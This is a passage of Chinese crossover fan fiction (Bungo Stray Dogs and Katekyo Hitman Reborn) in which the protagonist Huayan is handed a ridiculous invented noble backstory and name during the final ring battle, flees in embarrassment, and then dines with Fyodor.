“在这七天我们观察了你们三方的所有表现,经过观察统计,三方综合数值近乎相同,手中的指环数量也相同,因此,我们决定于今晚再次举行最后一次指环争夺战。” 右边那人恰到好处地接口,“场地为整所学校,限时三个小时,三个小时后,手中指环最多一方即为继承人。” “经观察,我们发现了另外两方都缺乏主动性的问题,为了避免出现不必要的误解,我们在这里提醒一下,这场指环争夺战意味着的不仅仅只有明面上的彭格列继承者之位,同时也意味着更深层次的东西。” 拿着记录本的那人披散在身后的粉发被夜风扬起,古井无波的声音吐露出沉重的提醒,她目光依次看过三方中拿着大空指环的人。 “你的愤怒与不甘、你的夥伴与安逸、你的身世与真名,在这场指环争夺战中失败的人,将失去一切。” 顺着切尔贝洛机关那人注视的顺序,能够轻易得知这些东西映射的“大空”。 愤怒与不甘是XANXUS,夥伴与安逸是沢田纲吉,身世与真名则是——花言。 太宰治几人的表情逐渐发生了变化,果戈里也蠢蠢欲动想要好奇地问什麽,但看着花言陷入沉思的疑惑反应,也像是不知道切尔贝洛机关指的“身世与真名”是什麽。 花言当然清楚自己的身世与真名,他的记忆不可能出错,因此这应该是系统给他自动生成的背景故事,如果猜得没错,十有八九还会于他手中拿着的指环逻辑自洽。 “花言,你为什麽要跟我说指环无关紧要呢?”太宰治感叹出声,“‘身世与真名’听起来就很重要。” 中原中也赞同地点头,“我们会尽量帮你的。” 花言:…… “不用……” 花言想跟他们说明其实真的无需在意这一点,但切尔贝洛机关那两人像是刻意想要打断他似的,在此刻宣布指环争夺战最后一场开启。 “那麽,现在是八点十分,三个小时后,身上指环最多者获胜!” “瓦利亚”仿佛等这句话很久了,近乎是与话音落地的同时袭来。 XANXUS耐心耗尽,他已经有些看腻这场滑稽的戏剧了。 两道灼热耀眼的光束自枪口激射而出,一瞬间蒸发了地面,花言与沢田纲吉不约而同地躲过,没能击中目标的暴怒火焰将教学楼打出了一个巨大坑洞。 云雀恭弥面无表情地握紧了手中的浮萍拐,他看向了一旁的切尔贝洛机关两人,“喂,你们能修好的吧?” 切尔贝洛机关的两人点头,承诺道:“无论破坏至何种地步,都会修缮完整。” 既然如此就没有什麽好顾虑的了,现在先找破坏校园的人收点利息。 云雀恭弥视线找上那个上次打到一半突然消失的白发小丑。 中原中也在侧头躲过空中袭来的管状炸弹时忽然想起了什麽,他看向正在抵挡似岩浆一样火焰的花言。 “喂,这次你们不会先开溜吧?” 花言正维持着“彩画集”的扩展,也许是副本的平衡机制,导致他总觉得“彩画集”被削弱了不少,比如说现在抵挡XANXUS蓄力的火焰居然要用上好几层,不然极有可能会出现碎裂现象。 听见这句话他头也不回地敷衍,“我当时是被打飞了,跟我没关系,你应该问太宰治。” 这根本没有问的必要。 中原中也面无表情地突进妄图用丝线与飞刀限制他行动的贝尔,在一拳把对方击飞后,才有空看向正在斯库瓦罗与山本武之间煽风点火的太宰治。 斯库瓦罗与山本武像是有旧仇,再加上这两人实力相当,太宰治如果不试图去争抢指环,混在这两人中简直如鱼得水,甚至还有空指点芥川龙之介和中岛敦该怎麽应付敌人。 因此太宰治要是想开溜,根本没人能注意到。 而不巧的是,太宰治现在完全是一时兴起才呆在这的。 中原中也的想法在“既然无人在意那他干脆也摸鱼好了”与“这是关系到花言身世与真名的一战”之间徘徊不定,犹豫了片刻,他还是握紧了拳,选择了后者。 就当是为了完成BOSS交给他的任务,这样一来不仅能调查清楚有关世界异常的真相,也能顺带弄清楚花言的数据。 中原中也的进攻骤然变得猛烈,也激起了贝尔与狱寺隼人的战意。 操场按照同属性指环之间的争斗划分出数块战场,还在不断往外扩大。 不同于上一次的忽视,这一次其他两方的幻术师像是已经达成了什麽心照不宣的共识,想要先把第三方中那名不会幻术又体弱的雾守淘汰出局。 费奥多尔已然预料到这种情况,他视线扫过半空中被星星点点金色小方块拥簇着照亮身形的白发青年,垂下眼眸,在细微的幻术遮掩下点燃指根处的戒指。 幽幽幻雾蔓延间,通过幻术依附库洛姆身体出现在此的六道骸手中三叉戟刺了个空。 “哦?”六道骸异色的眼眸闪过一丝趣味,他饶有兴致地转头对玛蒙说道:“你们“瓦利亚”的情报似乎也不准,他这不是会幻术吗?” “免疫幻术还能使用幻术,是不是应该让其他人来对付他比较好呢?”玛蒙问出了一个没有意义的问题。 “被体术限制了发挥的幻术师只有你。” 六道骸话音落下再次挥起三叉戟冲了上去。 玛蒙嗤笑一声却也没有趁机去偷袭六道骸,他们都很清楚,此刻对他们威胁最大的是那个看似弱不禁风的黑发男人。 花言抽空看了一眼下方,这一眼刚好看见有人赖皮结盟以多欺少打费奥多尔一个,这他能忍? 浮游在身侧的亚空间当即分出了一部分坠落向下方,不偏不倚地替费奥多尔挡下了六道骸的三叉戟。 XANXUS见花言在与他交手时竟然还有空隙去管其他人,原本想要射向沢田纲吉的枪口当即调转方向,其中子弹一枚枚连发,清脆的破碎声不断响起。 花言眼神一凝,就是现在! 他指间骤然点燃起明媚的火焰,生生不息的火光包裹着不断生成的金色小方块,像是一簇簇燃烧在半空中的幽火。 微弱温暖的火光不断蔓延,直到完全覆盖XANXUS愤怒之炎在亚空间墙壁上所带来的破坏。 夜幕中突然间亮起的第三方火光引起了没有参战之人的注意,里包恩眼眸中闪过一丝凝重与了然。 他就说为什麽这场指环争夺战会多出第三方,果然是他吗……? 花言原本想的是他现在亮出火焰,开始逆转战局,将原本占据优势的XANXUS压至劣势,达到让XANXUS迁怒下属情报不准的目的。 但他没想到XANXUS在看见火焰后反而大笑了起来。 “这种弱小的火焰……果然是你!” XANXUS虽然是大笑着的,但眼眸中的愤怒却愈发浓烈,他扣紧了手中的枪,近乎是从牙缝里挤出字。 “没想到你这垃圾居然真的没死,运气真不错!” “唉?” “嗯?” XANXUS一句话让沢田纲吉与花言露出同样迷茫的反应。 “这种表情是什麽意思?原来如此,你不记得了啊。”XANXUS想到了原因,露出畅快的神色,“你不记得那场被其他候选者针对的袭击,也不记得自己的真名,这些年来你甚至还没弄清楚自己的身世,哈——真是太可笑了!” XANXUS的声音不大,却足以让在场之人听清,下方原本打的水深火热的众人不动声色地放慢了动作。 “让你忘记那次惨烈袭击,还妄图夺取继承人之位的理由,原来这样无关紧要的东西——” XANXUS手中攻击没停,他肆意大笑着。 “哪怕老头子说你是他的私生子,但以你这种弱小的火焰,以及那种程度的袭击都无法抵御的无能,你根本没资格成为继承人!尼古拉斯赵四·花岗·傲天奈我何·言子!” 前面的话对于花言来说根本不痛不痒,后面那一句像是在说什麽绕口令rap的一长串名字,直接将花言击沉。 他从来没有遭遇过如此骇人的攻击,仿佛刚刚有什麽东西将他的意识抽走了,脚下踩着的亚空间化为星星点点的碎屑,眼前一片漆黑,大脑也瞬间空白。 无论是坠落时在耳旁呼啸的风声,还是其他感官的感知都统统消失了。 唯有那个像是玛丽苏集合体一样五毒俱全的名字在他脑海里不断回响。 被这一句话击沉的不仅仅只有花言。 沢田纲吉震惊于九代目居然有多个私生子的混乱私生活、继承者之间的战斗如此残酷恐怖、以及花言悲惨经历的事实。 信息量庞大的一段话让他额头燃烧的火焰在错愕间消失,被迫顺应重力一同下坠,喉咙里抑制不住地发出惊叫。 “哇啊啊啊——” 这场令所有人都始料未及的变故陡然发生。 “花言!” “十代目!”/“阿纲!” 站在地面上的众人顾不得其他,仰头望着天空手忙脚乱地想要接住两人。 只有“瓦利亚”几人不受影响地百感交集。 “BOSS他……”贝尔难得不知道该说什麽。 “不愧是BOSS!”列维率先赞美,“只用轻飘飘的一句话就干掉了其他两人!” 路斯利亚张了张嘴,想跟着夸又觉得好像总有哪不太对劲。 他看了看天空中大笑着的BOSS,又看向被众人围起关切询问情况的其他两方首领,认为这应该是八卦的力量吧……大概。 第119章 雪白的身影自夜幕中跌落,长发与斗篷在半空中翻飞,猎猎作响。 费奥多尔依靠距离优势,率先利用幻术接住了花言。 他环过对方肩膀,却第一时间没能环住,对方像是丧失身体控制权陷入昏厥了一样,身体不断下滑。 费奥多尔环住对方的手往回带,让后者靠在了他怀中,方便借力。 他借助幻术的遮掩了两人亲密的举止,指尖轻轻勾起对方眼前的墨镜,露出了下方那双满是恍惚与震撼的彩色眼眸。 他还是第一次看见花言这种反应…… “花言?您还好吗?” 费奥多尔伸手碰了碰对方脸颊,用自己于对方而言过低的体温唤回对方的意识。 “我……”花言透过费奥多尔无神地望向天空,呓语着,“我好像……不行了……” 他为什麽会一直遮住这双眼睛?就是因为这双眼睛配色过于玛丽苏。 现在好了,跟玛丽苏配套的名字都有了,他弯着的腰终究是断了。 而且那个名字…… 花言都不敢去回想那个名字,他脚趾扣地头皮发麻,觉得系统自动生成的背景剧情里一定掺杂了不少玛丽苏小说。 甚至在极度绝望之下,他产生了阴谋论,猜测系统是不是还在报复他之前用起名这件事嘲笑对方高维人工智能居然听不懂冷笑话的事。 他现在距离成为玛丽苏之王,只差个眼泪会变成钻石,以及情绪变化时周围环境也会发生变化了——比如说伤心时天上会下雨之类的。 “花言……?” 太宰治迟疑地靠近两人,在他视野里,花言躺在地上,而费奥多尔正蹲在对方身边询问对方情况。 看起来十分有分寸感。 之前他听见果戈里说这两人戴着同样的戒指,还有些怀疑花言是不是没玩过费奥多尔,被后者诱骗了。但在看见对方借助戒指点燃火焰、以及费奥多尔能够使用出让其他两名幻术师都认真起来的幻术时,又觉得这应该只是某种能够调和能力的手段。 现在对方突然从天上掉下来的情况,像极了是因为回忆起众多记忆而对大脑造成的一时负担。 说起来……他们确实没人了解花言的过去,对方就像是突然在这个世界冒出来的一样,所以…… 太宰治有些不确定,“还是该喊你尼古拉斯赵四·花岗·傲天奈我何·言子?” 那种东西不要记得那麽牢啊! 花言瞬间从费奥多尔怀中直起身体扑向太宰治,在直起身体的前一秒,他不忘重新戴回墨镜,双手抓住对方肩膀,咬牙切齿地强调。 “那不是我的真名!” 太宰治只见花言一个鲤鱼打挺直愣愣地从地上扑向了他,其动作敏锐中透着一丝僵硬,僵硬中透着一丝诡异。 “唉?但是……” “那不是我的真名!”花言打断了对方,再次强调,“快忘记那种东西!” 太宰治见对方脸上神色濒临崩溃,看起来似乎被这件事情打击得不清,他有些动容,“我知道了。” 不,你根本什麽都不知道! 花言看着对方脸上像是在说“没想到你居然有这麽惨痛过去”的同情神色更绝望了。 事情怎麽会变成这样呢…… 明明他只是想点燃火焰报复一下“瓦利亚”,回旋镖为什麽会打到自己身上,这简直跟精心筹备了陷阱结果自己中招了一样倒霉…… 偏偏这个时候中原中也也投来了关切的询问,“花……呃,尼古拉斯赵四·花……?” 后面的中原中也有些记不清了,他干脆直白地问道:“你没事吧?” “那不是我的真名。”花言心如死灰地再次复述,已然成为了没有感情的复读机。 另一边被同伴包围着询问情况的沢田纲吉不好意思地说出自己会掉下来的缘由。 “抱歉大家,我只是没想到那位先生居然也是九代目的私生子,还有那麽悲惨的过去,连自己的名字都忘记了……” 沢田纲吉说着低头看着手中的只有三分之一的指环,又转头看向在跟其他人说些什麽的白发青年,有些不知道该说什麽好。 山本武赞同地点头,“看起来指环对于他来说真的很重要,如果不是因为失败的人会失去一切……” “也许我们可以极限地跟他讨论看看有没有两全其美的办法!”笹川了平热血地朝空气挥出了一拳。 “嗯!” 沢田纲吉得到支持,握住指环起身去找花言商讨解决方案,看看有没有什麽能够帮助对方的。 花言生无可恋地抬头四十五度望着天空,十分怀疑这个名字会不会从此如影随形。 没等他彻底缓过来,只听耳边又有人喊了那个名字。 “那个……尼古拉斯赵四……呃、花……傲天奈我何?言先生。” 沢田纲吉磕磕绊绊地念出了花言的真名,后者认为对方可以不用在这个地方这麽顽强。 没等花言再次复读这不是他的真名,只听沢田纲吉继续说道。 “你好像很需要指环……毕竟你也是他的私生子……呃,我的意思是,也许我们可以找一个两全其美的办法……” 沢田纲吉还不擅长跟竞争对手讨论这种事,说出的话语有些颠三倒四。 花言感受到对方的善意了,但是…… “那不是我的真名,我不是私生子,也不是他的儿子。” 给他相信一下九代目的人品啊! “唉?但是XANXUS他……” 沢田纲吉视线在花言与天空上在看闹剧的XANXUS之间来回看,有些手足无措。 花言知道了,这种时候必须要当事人来解释。 刚刚被那个什麽什麽言子击晕过去了,现在花言头脑重新运转,他忽然想到以系统之前的学院副本来看。 就算给他设置了背景故事也不可能会让副本原人物性格发生巨大变化、做出一些之前不可能会做的事,所以他绝不可能是九代目的私生子! 这件事情绝对有内幕! 花言深吸一口气,他双手拍了拍沢田纲吉肩膀,眼神坚定,“没事,我找九代目来解释。” “啊?!”沢田纲吉更震撼了。 他视线环顾周围,近乎所有人都被刚刚的变故吸引而停下了手中的动作,除了云守那一边。 现在对方要找九代目来解释,难道说九代目一直在他们都不知道的地方看吗?! 沢田纲吉惊恐地睁大了眼眸。 花言选择性忽略了沢田纲吉好懂的心理活动,赤红的异能微光覆盖,他直奔云守战场而去。 正在跟果戈里缠斗的云雀恭弥注意到对方冲过来的举动,唇边勾起一抹期待的弧度,这抹期待的弧度在发现对方拐了个弯直奔“瓦利亚”的那个像是机器人一样的古怪男人而去时落下。 云雀恭弥面无表情地跟上花言,手中的浮萍拐攻向对方,“喂,那是我的猎物。” 虽然那东西很弱,弱到他都不想管,但这并不意味着他能容忍对方插手。 花言抵挡住了对方的攻击,看见果戈里还在一旁看热闹,气不打一处来,“果戈里!” 对方说他坏话、污蔑他就算了,现在甚至还袖手旁观! “哇呜……花言你真会使唤人。” 果戈里自知理亏地上前拦住了云雀恭弥,后者见对方终于不再一味闪躲起了几分兴致,没有再管花言,转而专心致志地想要跟果戈里分出一个高低。 没有了云雀恭弥的阻拦,花言身形敏捷地穿过“瓦利亚”用于当云守的莫斯卡所发射出的枪林弹雨,他回忆着位置,把控着异能,在不会伤到里面人的情况下拆解了这个机器。 一道白发苍苍的瘦削身影从中滑落,被花言接住。 居然真在啊?! 赶过来的沢田纲吉瞳孔地震。 与之截然相反的是“瓦利亚”逐渐凝重的目光,他们相互交换着眼神,询问彼此对方怎麽会知道九代目藏在莫斯卡里的事。 九代目感受到外界的空气,他缓缓睁开眼睛,视线看向距离最近的白发青年,又看向一旁的沢田纲吉。 “终于见面了,纲吉。”他先是对着沢田纲吉慈祥地笑了笑,再看向花言,感慨又愧疚,“没想到还能再见到你。” 花言并不意外九代目会认识自己,毕竟他都参加指环争夺战了,会认识也很正常。 顾不得其他,花言直奔主题,“XANXUS说我是你的私生子,但那根本不可能,对吧?” 九代目表情复杂,叹息一声,“是吗……你也已经知道了啊……” 白发苍苍的老人视线一一扫过在花言与沢田纲吉身后的众人,承认了这一点,“没错,你跟我确实没有血缘关系。” XANXUS瞳孔微缩。 “你们看……” 花言狂喜,他扭过头刚想借助这一点跟其他人说明那个名字也是假的,只听九代目接着说道。 “没想到你已经长这麽大了,在我记忆里你还是那麽小一点……我依稀记得捡到你,是在一个风雨交加的夜晚……” 这种经典开头让花言惊恐地扭回了头。 “你被人放在庄园门口,哭声伴随着闪电一同在我耳边炸响。”老人脸上露出了怀念的神色,“说来不可思议,明明是第一次见到你,你却在看见我时露出了笑容,也许是上天的垂怜,肆虐的暴风雨也伴随着你灿烂笑容而停歇,厚重乌云裂开一条缝隙从中倾泻了一缕阳光笼罩着你……” 花言:…… 哈哈,完啦。 简直是雪上加霜,原本的期冀终究还是变成了刺向他的利刃。 花言心如死灰,他现在距离满配玛丽苏只差个眼泪能变钻石了。 “能够来到这里并悄无声息将你留下的人绝不会是等闲之辈,我那时试图查找,却一无所获,唯一留下的只有你与镌刻在你襁褓上的那一串名字……” 老人回忆着过去,将一切都娓娓道来。 “你生来不凡,在捡到你的那天彭格列指环都能因你而分成三份,也让我更加好奇你的父母、你的来历,这些年我不断在暗中查找,却似乎给你带来了过分关注,甚至将你置于那种危险境地……抱歉,尼古拉斯……” 花言接受不了再被刻在那个名字的耻辱柱上,他伸手捂住了对方的嘴。 “别说了……” 这已经不是玛丽苏剧场了,里面甚至还混杂了龙傲天剧场,依照他朋友以前在他耳边吐槽的剧情,接下来如果他得到指环,一定会开启个几千章的找妈找爸再不断打脸的新篇章。 这种诡异缝合背景剧情甚至还能完美解释现存的一系列问题,比如说为什麽指环会是三份、为什麽XANXUS会不知道他不是私生子、为什麽切尔贝洛机关会用他的身世与真名威胁他认真起来…… 这未免有些太离谱了! 难道没有人觉得这个剧情很不正常吗?!为什麽都毫无心理障碍地接受了啊! 这也是“书页”的恐怖之处吗?! 花言简直都不敢回头看其他人,只觉得自己像是被架在火上烤,如芒在背。 被捂住嘴巴的九代目也没有生气,而是用一种亏欠般的视线望着花言,只当对方是无法接受这个事实。 “也就是说,如果尼古拉斯赵四先生他想找到父母,只能从指环入手了吗?”沢田纲吉听完这离奇又充满了让人想要继续得知结局莫名魔力的话语,总结出了最终结果。 他看向花言,“那个……尼古拉斯赵四先生,指环我们可以给你……” “别给我!” 花言瞳孔地震,退避三舍。 开什麽玩笑! 如果他接受了指环不就意味着这个名字和身世要一直缠着他了吗?! 这种身世与真名失去也无所谓吧!倒不如说失去才好! 花言自认自己这一生什麽都经历过,但他这辈子从来没这麽丢人过! 这个地方他是一点都呆不下去了! 花言一气呵成地掏出指环塞在九代目手里,头也不回地用尽毕生最快速度逃离了这个社死之地。 其速度之迅速,不到短短一分钟,众人眼中就失去了那道白色身影。 费奥多尔见状也将指环递给九代目,随后追着花言离去的方向而去。 果戈里见费奥多尔走了也想走,但他哪怕把指环作为诱饵抛出去,也没能分走云雀恭弥一丝一毫的注意力,只能另寻机会逃脱。 太宰治若有所思地拿出指环随手塞给一边的山本武,“看起来他好像放弃了呢,这个就给你吧。” 中原中也有了前车之鉴,注意到其他人纷纷开溜,他拿过还不知所措的中岛敦和勤勤恳恳的芥川龙之介身上的指环,一起放在了九代目手中。 九代目视线落在手中的指环上,又看向花言消失的方向,未不可察地叹了口气。 “他还是没能跟自己的身世与真名和解……” 和蔼又慈祥的声音逐渐模糊,伴随着指环的归还,“书页”中的内容也抵达最后一个剧情点。 一切似湖面倒影般泛起涟漪,继而消散。 两个世界的融合于此刻迎来结束,被重新分离。 第120章 哪怕世界分离了,但造成的余波还在。 花言团在被子里,脑海中如同在放电影一样不断循环播放,每次回想他都忍不住揪紧被子,将自己团的更严实了一些,直到团无可团才像一滩饼一样摊开,而后又在想起时重新团起。 他双眼无神地摊开仰望着天花板,在复盘时又揪住被子开始懊恼。 懊恼自己跑的太快了,他当时还指环的时候应该装一下,比如说些“你们认错人了,其实那个人早死了,我只是有点贪心想搏一搏运气,所以按照他的脸整容了”、“曾经的那个傲天花岗岩子已经死了,现在的是正常人花言”之类的话,虽然没什麽用,但能让他有点嘴硬空间,什麽都不说直接跑显得有点像默认。 [马路牙子……你真的没有回档功能吗?] 花言不死心地第一百一十一次向系统确认。 【没有。】 系统的回答也是如前一百一十一次一样的令花言绝望。 它想了想,给出了替代方案。 【宿主,如果你想重新发挥,你其实可以复制“书页”重来一次,再不济你可以想办法让其他人都失忆。】 前一个提议完全不可行,他只是在进行攻略任务,又不是真的在玩什麽攻略游戏,重来一次又不能覆盖之前的存盘——更改所有人的记忆。 后一个提议听起来看似不可行实则真的不可行,他还没有强到那种能够让那些人完全意识不到自己少了一段记忆的地步。 花言又重新团紧自己,发出绝望的哀鸣。 [太弱小了,没有力量……] 系统看着自家宿主陷入悲伤与绝望的颓废模样,感同身受地落下了不存在的泪水。 【抱歉,宿主都是我的错,我也没想到事情会变成那样。】 [也不能全怪你……] 这场指环争夺战……不,这个副本的恐怖之处其实从刚刚降临、给每个人发邀请信时就已经开始初现端倪。 只是他当时没当一回事,以为是自动生成随机抓取的话术。 后面再次出现端倪,太宰治几人戴墨镜的举动引起连锁反应,让其他人也戴上墨镜时,他还以为是太宰治故意在捉弄其他人——可能对方真的在捉弄其他人。 总之这次的预兆也被他忽略掉了。 再见的最后一次,就是揭开帷幕的时刻。 他宛如打开了惊吓盒子,猝不及防被里面的弹簧拳头一顿锤。 花言长长叹了一口气,把脸埋在了床上。 [马路牙子,你自动生成的程序依据是什麽?究竟是怎麽把背景故事捏造得那麽五毒俱全的?] 【呃……那个,宿主,你知道的,我平时没什麽爱好,就喜欢看点小说……】 系统扭扭捏捏地解释。 【所以这个自动生成的程序抓取的数据来源……】 花言明白了,说的好听是自动生成程序,说得不好听是集齐各大热元素于一体的狗血剧情制造机。 上个学院副本限制了这个自动生成程序的发挥,这次副本可操纵空间大,直接供那程序大展身手,把所有压箱底的东西都捣鼓出来一起上了。 [多看点正常的,把你的这个自动生成养好吧。] 花言语重心长地劝告。 【没事,宿主,我已经把数据库的权限都给你了,下次你可以自己弄。】 系统直接当上了一劳永逸的甩手掌柜。 系统在意识到自家宿主落荒而逃,它似乎又给自家宿主造成重创的时候,进行了深深的反思,最终它得出了一个结论。 ——没什麽能比对方亲自来更稳健的了! 花言:? 什麽是把数据库的权限都给他了……? 之前他只有对方数据库的浏览权限都能直接复制出来给费奥多尔看了,那现在有权限了,岂不是等同于…… 花言惊恐地睁大了眼睛。 [不是?你都给我了?意思是那些世界、人物、一切的一切……全溶进我异能里了吗?] 系统没觉得哪不对。 【是呀,作为副本通关奖励,给一点东西不是很正常吗?】 花言欲言又止,[……可我没通关。] 他最后把指环给九代目了,既然副本是指环争夺战,那能够得到奖励的通关条件当然需要获胜。 系统安慰道,【参与奖。】 过副本还有这种奖?! 花言一时之间不知道该说什麽,脑海里塞满了乱七八糟的念头。 比如说“那这系统的十几个杀毒软件、那些乱七八糟的玛丽苏剧情该不会也混进他异能里了吧?”,又比如说“这个系统真能处,有东西真能给”。 半晌,他提出了一个最为关键的问题。 [我说,马路牙子啊……你还记得最初你为了避免我异能过强,而进行限制的事吗?你有没有觉得……好像现在我的异能比之前没有限制过的还强了?] 系统真忘了这回事,它完全沉浸在攻略任务里了。 系统苦思冥想,迟疑地说道。 【人都是会成长的,比之前要强也很正常吧……?】 花言还以为对方思考的那一下会意识到事情的严重性,他面无表情地直白提醒。 [我的意思是,你现在把那些东西都给我,我会不会被这个世界驱逐出境?] 现在他距离攻略任务完成只有一步之遥,要是在这时候被驱逐,那可太幽默了。 这将为他的谐星人生画上浓墨重彩的一笔。 系统安静许久,才吞吞吐吐地说出实情。 【其实不是现在,我是在世界融合结束的时候塞给你的……因为如果我们系统想要给宿主什麽,只能趁世界出现轻微动荡的时候。】 花言:…… 怎麽听起来那麽像家长趁老师不注意给孩子塞鸡蛋啊…… 花言下意识挪动身体到床的边界,借助缝隙中的光看了眼自己的手。 不知是阳光还是灯光的亮光撒进漆黑的被窝,照亮了他仍旧轮廓清晰的五指。 很好,看起来还没有被驱逐。 【宿主,你有哪不舒服吗?】 系统注意到自家宿主的动作,担忧地问道。 原本花言没哪不舒服,但是被对方这麽一问,他觉得自己好像真不舒服了起来。 [我好像有点喘不过气了,是要被驱逐了吗?] 【什麽?!】 系统大惊,瞬间开始扫描自家宿主的身体状态,来回扫描了十几次都没发现异常。 它沉吟许久,给出了一个建议。 【宿主,你要不然试试从被子里钻出去,呼吸一下新鲜空气?】 [好吧,其实我只是在开玩笑。] 花言言归正传。 [如果被驱逐是什麽样的状态?] 【大概是身体会瞬间消融,你意识也会沉睡回灵魂深处?】 系统不太确定,它没带过其他宿主,因此这方面的知识都是从前辈聊天中得知的。 【不过不用担心,宿主,就算你被驱逐了,我也能带你再回来!】 ……别说的像是什麽赶不走的流浪汉一样啊! 花言有些心累。 似乎是也觉得这样的安慰不太靠谱,系统重新安慰道。 【而且宿主,我觉得它要是想驱逐你,那在我把奖励给你的时候就该驱逐了,现在你仍旧安好,也没任何地方不舒服,我们之间的联系也仍旧紧密,这说明什麽?这不说明我们做的完全在这个世界的可接受范围内吗!】 系统越说越觉得有道理。 花言思考了一会儿,也觉得对方说的有道理。 他有些感慨。 [没想到这个世界这麽能忍。] 这就是有各式各样异能者、还有非异能的旧日支配者的世界吗? 他果然还是太保守了。 被子外传来轻微的“嘎吱”声响,像是有谁放轻了动作推开房门。 费奥多尔的目光落在床上仍旧团起的被子上,有些无奈。 还没缓过来吗? 归还指环后,他一路跟着花言,看着对方径直冲回据点团进了被子里试图逃避外界。 虽然在这期间他尝试过安抚对方,但后者显然不是那麽容易能释怀的。 往好处想想,最起码花言这次没有直接消失,也没有藏进其他人都无法进入的异能空间。 费奥多尔停在床边,手掌轻轻搭在那团被子上,语气苦恼。 “花言,您已经在被子里团了一天一夜了,真的不想吃些什麽吗?我预约了您喜欢的那家餐厅,如果您不去,可能要浪费了哦。” 手下的被子动了一下,“我喜欢的那家餐厅?” 费奥多尔似毫无芥蒂地告诉了对方,“您跟弗朗西斯去的那家。” 花言脑海里再一次浮现出疑问,“你……会知道我是在东京买的红茶,真的是因为那家的红茶很有名吗?” 费奥多尔没有直接告诉对方答案,他轻轻笑了一声,“您知道答案的。” 花言没忍住掀起被子一角,看着对方发出谴责,“费佳,你偶尔也装一下吧。” “我以为你更喜欢我坦诚一些呢。”费奥多尔语气无辜。 他指尖顺着对方掀起的被子将那一角扩大,直到彻底露出里面窝了一天的白发青年。 费奥多尔捡起床上的发带,另一只手早有准备地拿好了梳子,开始为对方梳理乱成一团的头发。 花言坐在床边任由对方动作,脑海中思考着自己是不是每次暴露在摄像头下都会被对方捕捉身形。 这样一来,他还有什麽是没有被对方窥探到的吗? 花言忽然想起了什麽,眼眸中神色逐渐凝重。 他犹豫地问道:“费佳……你是不是也知道我在擂钵街和商业街做的事……?” “什麽?”费奥多尔假装没有听出对方的意思。 “……这个时候可以不用装。” 花言轻易地听出了对方疑惑背后的笑意,这装的有点不走心了。 “您之前还说让我装一下呢。”费奥多尔系好发带,意有所指地说道:“您如果是指‘体验生活’,我确实知道。” 这句话带来的效果立竿见影,白皙的皮肤下迅速蔓延出漂亮的色泽。 花言努力抑制着自己想再钻进被子里的冲动,“那你当时还说,只是想要了解我平时在干什麽……” “因为我确实想陪着您,也希望您能让我更了解您。”费奥多尔察觉到对方想回避的反应,他轻叹着说出了实情,“毕竟……私自窥探与您主动告诉我是两个不同的概念。” 花言回头幽幽望着对方,哪怕他看得出这句话不是用于开脱的谎言,但这也不能掩盖对方当时的所作所为。 亏他还在努力维持形象呢,原来早就掉一地了。 花言没忍住指责,“太恶劣了……” “嗯,我并不否认这一点,但是您明明也早就清楚我这一面的,花言……” 费奥多尔眼眸微弯,透着些许沙哑与软绵无力的嗓音拖拽着最后的尾音,喊着青年的名字。 用这份缱绻的感情与愉悦取代了那句没有说出口的话语。 然而即使费奥多尔不说,花言也能明白对方那句没有说出口的后半句话。 ——即使是这样,他却还是喜欢他。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第121章 这家餐厅夜间的氛围与白日截然不同,比白日要多出几分静谧旖旎。 优雅舒缓的音乐在空气中缓缓流淌,周围光线昏暗朦胧,唯一的光源来自于头顶璀璨浪漫的人造星河,微弱的光芒像是气氛的点缀,桌面上点燃的蜡烛所散发的烛光刚好照亮他们彼此的脸庞。 花言十指交叉撑着下巴,正在思考一个十分严肃的问题。 他再次确认了一遍桌面上的餐品,又看向一旁服务生手中倒入醒酒器的罗曼尼康帝,只觉得一切都非常眼熟,连这个位置也是。 不同的地方可能只有上次是白天,这次是夜晚,以及坐在他面前的男人换了一个。 花言沉吟许久,考虑到对方占有欲极强又小心眼的一面,他委婉地问道:“费佳,你有没有觉得……你点的东西有点熟悉?” 周围环境限制了视野,花言戴着墨镜看不太清费奥多尔的表情,只能听见对方满是疑惑的回答。 “嗯……?我只是点了他们家比较受欢迎的餐品。”费奥多尔似才反应过来什麽,“原来您上次跟弗朗西斯先生来这儿,他也点了这些吗?” 花言迟疑地应了一声,虽然听起来没什麽问题,但不知怎麽他还是觉得对方是故意的,这可能是某种直觉。 不过看在对方点的也都是他爱吃的份上,花言也没有太过纠结这一点。 上次他在弗朗西斯面前维持着矜持和优雅没吃太多,现在又有了机会,而他又一天都没吃东西,当然要把之前的遗憾补回来。 费奥多尔对于食物兴趣不大,吃的也不算多,起初他还会尝一下对方分享到他面前的食物,到后面就变成了他看对方吃,顺便时不时为对方已经见底的酒杯重新倒上醇厚的葡萄酒。 花言的进食速度不算快,动作也维持着一份良好的涵养与礼仪,显得有几分赏心悦目。 唯一的问题是…… 这跟费奥多尔想象中的烛光晚餐有点不太一样。 原本用于烘托氛围的葡萄酒被对方当作用于中和口感的缓冲带,每当对方吃到那些口味较为多层次的餐品感到腻后,就会用葡萄酒中和一下,再继续享用。 当桌面上食物所剩无几时,那瓶葡萄酒也近乎空了大半。 可能是酒精的后劲开始蔓延,也可能是花言已经吃的差不多了,对方的动作逐渐慢了下来。 费奥多尔没办法透过墨镜看清对方此刻的神色,他只能通过询问得知对方的状态。 “花言?” “嗯。” 花言端起手边的高脚杯,抵在唇边,徐徐仰头喝下了里面的最后一口。 跳动的烛火映衬出纤细的脖颈,喉结伴随着吞咽的动作微微滚动,雪白的碎发自耳畔滑落,恰到好处地将一切重新遮掩。 费奥多尔手指抵着下巴,紫罗兰色的眼眸在忽明忽暗的火光中显得有些晦暗,“要再点些饭后甜品吗?” “好……” 花言没有拒绝,而对方也似乎对此早有想法,在没有询问他想吃什麽的情况下直接招来服务员点好了甜品。 花言隐隐觉得似乎有哪不对,但他思绪现在有些朦胧,像隔着一层雾,也懒得再去细想。 余光注意到玻璃瓶中在烛光下折射出靡丽殷红的醇厚酒液,秉着不能浪费的原则,他主动起身给费奥多尔倒了一半,才将剩余的全部倒给自己。 费奥多尔若有所思地看着对面青年再次一饮而尽的举动,逐渐意识到对方的酒量或许比他想象中的要好。 花言没有注意费奥多尔的反应,他目光落在服务员端到他面前的甜品上,再一次觉得这个甜品也很眼熟。 身体比思维更快地舀起甜品往嘴里送,熟悉的味道牵动了记忆,让他后知后觉地想起上次来他似乎也是吃的这个。 “费佳。”花言咬着勺子,思绪接上了之前的怀疑,“你为什麽会点这个甜品呢?” “是不合胃口吗?”费奥多尔表现得仍旧滴水不漏,“我是按照您口味选的。” 